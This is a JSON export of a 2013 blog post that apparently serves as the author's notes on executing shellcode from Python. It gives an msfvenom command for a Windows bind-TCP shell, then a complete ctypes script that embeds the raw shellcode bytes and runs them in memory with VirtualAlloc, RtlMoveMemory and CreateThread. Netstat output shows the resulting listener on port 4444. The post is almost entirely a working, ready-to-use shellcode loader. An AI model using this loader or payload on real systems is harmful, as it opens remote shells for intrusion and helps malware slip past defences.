{"id":997,"date":"2013-02-27T21:21:25","date_gmt":"2013-02-27T21:21:25","guid":{"rendered":"https:\/\/www.phillips321.co.uk:443\/?p=997"},"modified":"2013-02-27T21:21:25","modified_gmt":"2013-02-27T21:21:25","slug":"injecting-shell-code-into-memory-using-python","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2013\/02\/27\/injecting-shell-code-into-memory-using-python\/","title":{"rendered":"Injecting shell code into memory using python"},"content":{"rendered":"<p>So after using <a href=\"http:\/\/www.phillips321.co.uk\/2013\/01\/25\/use-net-csc-exe-to-create-a-malicious-dllexe-on-locked-down-systems\/\" title=\"Use .NET csc.exe to create a malicious EXE on locked down systems\" target=\"_blank\">csharp to inject shellcode<\/a> I wanted to see what other languages were able to directly write to and call memory locations.<\/p>\n<p>As I&#8217;ve been working my way through The <a href=\"http:\/\/securitytube-training.com\/online-courses\/securitytube-python-scripting-expert\/\" target=\"_blank\">SecurityTube Python Scripting Expert<\/a> course I decided it made sense to see if it was possible with python.<\/p>\n<p><a href=\"http:\/\/lmgtfy.com\/?q=execute+shellcode+using+python\" target=\"_blank\">A quick google<\/a> found me a href=&#8221;http:\/\/www.debasish.in\/2012\/04\/execute-shellcode-using-python.html&#8221; target=&#8221;_blank&#8221;>this post<\/a> by <a href=\"https:\/\/twitter.com\/debasishm89\" target=\"_blank\">Debasish<\/a>. FULL credit for this work goes to Debasish, this post is purely for my notes and memory. \ud83d\ude42<\/p>\n<p>So the first thing we need to do is create a payload for the exploit, a simple shell bind TCP will suffice:<\/p>\n<div class=\"codecolorer-container text vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">root@bt:~# msfvenom -p windows\/shell\/bind_tcp -e none<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Insert the code into the short python script and then run it, pretty simple really:<\/p>\n<div class=\"codecolorer-container python vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/>23<br \/>24<br \/>25<br \/>26<br \/>27<br \/>28<br \/>29<br \/>30<br \/>31<br \/>32<br \/>33<br \/>34<br \/>35<br \/>36<br \/>37<br \/><\/div><\/td><td><div class=\"python codecolorer\"><span class=\"co1\">#!\/usr\/bin\/python<\/span><br \/>\n<span class=\"kw1\">import<\/span> ctypes<br \/>\n<span class=\"co1\">#ShellCode<\/span><br \/>\n<span class=\"co1\"># msfvenom -p windows\/shell\/bind_tcp -e none<\/span><br \/>\nshellcode <span class=\"sy0\">=<\/span> <span class=\"kw3\">bytearray<\/span><span class=\"br0\">&#40;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>fc<span class=\"es0\">\\x<\/span>e8<span class=\"es0\">\\x<\/span>89<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>60<span class=\"es0\">\\x<\/span>89<span class=\"es0\">\\x<\/span>e5<span class=\"es0\">\\x<\/span>31<span class=\"es0\">\\x<\/span>d2<span class=\"es0\">\\x<\/span>64<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>52&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>30<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>52<span class=\"es0\">\\x<\/span>0c<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>52<span class=\"es0\">\\x<\/span>14<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>72<span class=\"es0\">\\x<\/span>28<span class=\"es0\">\\x<\/span>0f<span class=\"es0\">\\x<\/span>b7<span class=\"es0\">\\x<\/span>4a<span class=\"es0\">\\x<\/span>26&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>31<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>31<span class=\"es0\">\\x<\/span>c0<span class=\"es0\">\\x<\/span>ac<span class=\"es0\">\\x<\/span>3c<span class=\"es0\">\\x<\/span>61<span class=\"es0\">\\x<\/span>7c<span class=\"es0\">\\x<\/span>02<span class=\"es0\">\\x<\/span>2c<span class=\"es0\">\\x<\/span>20<span class=\"es0\">\\x<\/span>c1<span class=\"es0\">\\x<\/span>cf<span class=\"es0\">\\x<\/span>0d&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>c7<span class=\"es0\">\\x<\/span>e2<span class=\"es0\">\\x<\/span>f0<span class=\"es0\">\\x<\/span>52<span class=\"es0\">\\x<\/span>57<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>52<span class=\"es0\">\\x<\/span>10<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>42<span class=\"es0\">\\x<\/span>3c<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>d0&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>40<span class=\"es0\">\\x<\/span>78<span class=\"es0\">\\x<\/span>85<span class=\"es0\">\\x<\/span>c0<span class=\"es0\">\\x<\/span>74<span class=\"es0\">\\x<\/span>4a<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>d0<span class=\"es0\">\\x<\/span>50<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>48<span class=\"es0\">\\x<\/span>18<span class=\"es0\">\\x<\/span>8b&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>58<span class=\"es0\">\\x<\/span>20<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>d3<span class=\"es0\">\\x<\/span>e3<span class=\"es0\">\\x<\/span>3c<span class=\"es0\">\\x<\/span>49<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>34<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>d6<span class=\"es0\">\\x<\/span>31<span class=\"es0\">\\x<\/span>ff&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>31<span class=\"es0\">\\x<\/span>c0<span class=\"es0\">\\x<\/span>ac<span class=\"es0\">\\x<\/span>c1<span class=\"es0\">\\x<\/span>cf<span class=\"es0\">\\x<\/span>0d<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>c7<span class=\"es0\">\\x<\/span>38<span class=\"es0\">\\x<\/span>e0<span class=\"es0\">\\x<\/span>75<span class=\"es0\">\\x<\/span>f4<span class=\"es0\">\\x<\/span>03<span class=\"es0\">\\x<\/span>7d&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>f8<span class=\"es0\">\\x<\/span>3b<span class=\"es0\">\\x<\/span>7d<span class=\"es0\">\\x<\/span>24<span class=\"es0\">\\x<\/span>75<span class=\"es0\">\\x<\/span>e2<span class=\"es0\">\\x<\/span>58<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>58<span class=\"es0\">\\x<\/span>24<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>d3<span class=\"es0\">\\x<\/span>66<span class=\"es0\">\\x<\/span>8b&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>0c<span class=\"es0\">\\x<\/span>4b<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>58<span class=\"es0\">\\x<\/span>1c<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>d3<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>04<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>d0<span class=\"es0\">\\x<\/span>89<span class=\"es0\">\\x<\/span>44&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>24<span class=\"es0\">\\x<\/span>24<span class=\"es0\">\\x<\/span>5b<span class=\"es0\">\\x<\/span>5b<span class=\"es0\">\\x<\/span>61<span class=\"es0\">\\x<\/span>59<span class=\"es0\">\\x<\/span>5a<span class=\"es0\">\\x<\/span>51<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>e0<span class=\"es0\">\\x<\/span>58<span class=\"es0\">\\x<\/span>5f<span class=\"es0\">\\x<\/span>5a<span class=\"es0\">\\x<\/span>8b&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>12<span class=\"es0\">\\x<\/span>eb<span class=\"es0\">\\x<\/span>86<span class=\"es0\">\\x<\/span>5d<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>33<span class=\"es0\">\\x<\/span>32<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>77<span class=\"es0\">\\x<\/span>73<span class=\"es0\">\\x<\/span>32<span class=\"es0\">\\x<\/span>5f&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>54<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>4c<span class=\"es0\">\\x<\/span>77<span class=\"es0\">\\x<\/span>26<span class=\"es0\">\\x<\/span>07<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5<span class=\"es0\">\\x<\/span>b8<span class=\"es0\">\\x<\/span>90<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>29&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>c4<span class=\"es0\">\\x<\/span>54<span class=\"es0\">\\x<\/span>50<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>29<span class=\"es0\">\\x<\/span>80<span class=\"es0\">\\x<\/span>6b<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5<span class=\"es0\">\\x<\/span>50<span class=\"es0\">\\x<\/span>50<span class=\"es0\">\\x<\/span>50<span class=\"es0\">\\x<\/span>50&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>40<span class=\"es0\">\\x<\/span>50<span class=\"es0\">\\x<\/span>40<span class=\"es0\">\\x<\/span>50<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>ea<span class=\"es0\">\\x<\/span>0f<span class=\"es0\">\\x<\/span>df<span class=\"es0\">\\x<\/span>e0<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5<span class=\"es0\">\\x<\/span>97<span class=\"es0\">\\x<\/span>31<span class=\"es0\">\\x<\/span>db&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>53<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>02<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>11<span class=\"es0\">\\x<\/span>5c<span class=\"es0\">\\x<\/span>89<span class=\"es0\">\\x<\/span>e6<span class=\"es0\">\\x<\/span>6a<span class=\"es0\">\\x<\/span>10<span class=\"es0\">\\x<\/span>56<span class=\"es0\">\\x<\/span>57<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>c2&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>db<span class=\"es0\">\\x<\/span>37<span class=\"es0\">\\x<\/span>67<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5<span class=\"es0\">\\x<\/span>53<span class=\"es0\">\\x<\/span>57<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>b7<span class=\"es0\">\\x<\/span>e9<span class=\"es0\">\\x<\/span>38<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>53<span class=\"es0\">\\x<\/span>53<span class=\"es0\">\\x<\/span>57<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>74<span class=\"es0\">\\x<\/span>ec<span class=\"es0\">\\x<\/span>3b<span class=\"es0\">\\x<\/span>e1<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5<span class=\"es0\">\\x<\/span>57<span class=\"es0\">\\x<\/span>97<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>75&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>6e<span class=\"es0\">\\x<\/span>4d<span class=\"es0\">\\x<\/span>61<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5<span class=\"es0\">\\x<\/span>6a<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>6a<span class=\"es0\">\\x<\/span>04<span class=\"es0\">\\x<\/span>56<span class=\"es0\">\\x<\/span>57<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>02<span class=\"es0\">\\x<\/span>d9&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>c8<span class=\"es0\">\\x<\/span>5f<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5<span class=\"es0\">\\x<\/span>8b<span class=\"es0\">\\x<\/span>36<span class=\"es0\">\\x<\/span>6a<span class=\"es0\">\\x<\/span>40<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>10<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>56&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>6a<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>58<span class=\"es0\">\\x<\/span>a4<span class=\"es0\">\\x<\/span>53<span class=\"es0\">\\x<\/span>e5<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5<span class=\"es0\">\\x<\/span>93<span class=\"es0\">\\x<\/span>53<span class=\"es0\">\\x<\/span>6a<span class=\"es0\">\\x<\/span>00<span class=\"es0\">\\x<\/span>56&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>53<span class=\"es0\">\\x<\/span>57<span class=\"es0\">\\x<\/span>68<span class=\"es0\">\\x<\/span>02<span class=\"es0\">\\x<\/span>d9<span class=\"es0\">\\x<\/span>c8<span class=\"es0\">\\x<\/span>5f<span class=\"es0\">\\x<\/span>ff<span class=\"es0\">\\x<\/span>d5<span class=\"es0\">\\x<\/span>01<span class=\"es0\">\\x<\/span>c3<span class=\"es0\">\\x<\/span>29<span class=\"es0\">\\x<\/span>c6<span class=\"es0\">\\x<\/span>85&quot;<\/span><br \/>\n<span class=\"st0\">&quot;<span class=\"es0\">\\x<\/span>f6<span class=\"es0\">\\x<\/span>75<span class=\"es0\">\\x<\/span>ec<span class=\"es0\">\\x<\/span>c3&quot;<\/span><span class=\"br0\">&#41;<\/span><br \/>\n&nbsp;<br \/>\nptr <span class=\"sy0\">=<\/span> ctypes.<span class=\"me1\">windll<\/span>.<span class=\"me1\">kernel32<\/span>.<span class=\"me1\">VirtualAlloc<\/span><span class=\"br0\">&#40;<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">0<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"kw2\">len<\/span><span class=\"br0\">&#40;<\/span>shellcode<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">0x3000<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">0x40<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span><br \/>\n&nbsp;<br \/>\nbuf <span class=\"sy0\">=<\/span> <span class=\"br0\">&#40;<\/span>ctypes.<span class=\"me1\">c_char<\/span> * <span class=\"kw2\">len<\/span><span class=\"br0\">&#40;<\/span>shellcode<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span>.<span class=\"me1\">from_buffer<\/span><span class=\"br0\">&#40;<\/span>shellcode<span class=\"br0\">&#41;<\/span><br \/>\n&nbsp;<br \/>\nctypes.<span class=\"me1\">windll<\/span>.<span class=\"me1\">kernel32<\/span>.<span class=\"me1\">RtlMoveMemory<\/span><span class=\"br0\">&#40;<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span>ptr<span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span>buf<span class=\"sy0\">,<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"kw2\">len<\/span><span class=\"br0\">&#40;<\/span>shellcode<span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span><br \/>\n&nbsp;<br \/>\nht <span class=\"sy0\">=<\/span> ctypes.<span class=\"me1\">windll<\/span>.<span class=\"me1\">kernel32<\/span>.<span class=\"me1\">CreateThread<\/span><span class=\"br0\">&#40;<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">0<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">0<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span>ptr<span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">0<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">0<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span> ctypes.<span class=\"me1\">pointer<\/span><span class=\"br0\">&#40;<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span><span class=\"nu0\">0<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span><br \/>\n&nbsp;<br \/>\nctypes.<span class=\"me1\">windll<\/span>.<span class=\"me1\">kernel32<\/span>.<span class=\"me1\">WaitForSingleObject<\/span><span class=\"br0\">&#40;<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span>ht<span class=\"br0\">&#41;<\/span><span class=\"sy0\">,<\/span>ctypes.<span class=\"me1\">c_int<\/span><span class=\"br0\">&#40;<\/span>-<span class=\"nu0\">1<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#41;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<div class=\"codecolorer-container text vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/><\/div><\/td><td><div class=\"text codecolorer\">C:\\Users\\pentest&gt;netstat -anp tcp<br \/>\nActive Connections<br \/>\n&nbsp; Proto &nbsp;Local Address &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Foreign Address &nbsp; &nbsp; &nbsp; &nbsp;State<br \/>\n&nbsp; TCP &nbsp; &nbsp;0.0.0.0:135 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;0.0.0.0:445 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;0.0.0.0:902 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;0.0.0.0:912 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;0.0.0.0:4444 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"<p>So after using csharp to inject shellcode I wanted to see what other languages were able to directly write to and call memory locations. As I&#8217;ve been working my way through The SecurityTube Python Scripting Expert course I decided it made sense to see if it was possible with python. A quick google found me [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[363,362,349,111,361,113],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/997"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=997"}],"version-history":[{"count":8,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/997\/revisions"}],"predecessor-version":[{"id":1005,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/997\/revisions\/1005"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=997"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=997"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=997"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}